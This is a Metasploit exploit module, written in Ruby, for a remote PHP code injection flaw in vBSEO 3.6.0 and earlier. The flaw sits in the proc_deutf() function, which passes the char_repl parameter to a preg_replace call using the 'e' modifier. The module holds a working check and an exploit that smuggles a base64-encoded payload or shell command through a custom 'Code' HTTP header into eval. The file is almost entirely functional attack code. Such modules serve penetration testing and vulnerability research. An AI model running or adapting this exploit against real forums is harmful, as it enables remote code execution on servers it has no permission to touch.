## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'vBSEO proc_deutf() Remote PHP Code Injection', 'Description' => %q{ This module exploits a vulnerability in the 'proc_deutf()' function defined in /includes/functions_vbseocp_abstract.php for vBSEO versions 3.6.0 and earlier. User input passed through 'char_repl' POST parameter isn't properly sanitized before being used in a call to preg_replace() function which uses the 'e' modifier. This can be exploited to inject and execute arbitrary code leveraging the PHP's complex curly syntax. }, 'Author' => 'EgiX ', # originally reported by the vendor 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '78508'], ['BID', '51647'], ['EDB', '18424'] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 8190, 'Keys' => ['php'], }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 23 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]), OptString.new('CMD', [false, "Command to execute"]) ], self.class) end def check flag = rand_text_alpha(rand(10)+10) data = "char_repl='{${print(#{flag})}}'=>" uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => "POST", 'uri' => uri, 'data' => data }) if response.code == 200 and response.body =~ /#{flag}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit if datastore['CMD'] p = "passthru(\"%s\");" % datastore['CMD'] p = Rex::Text.encode_base64(p) else p = Rex::Text.encode_base64(payload.encoded) end data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>" uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'data' => data, 'headers' => { 'Code' => p } }) vprint_status("Server replied with #{response ? response.code : "nothing"}") end end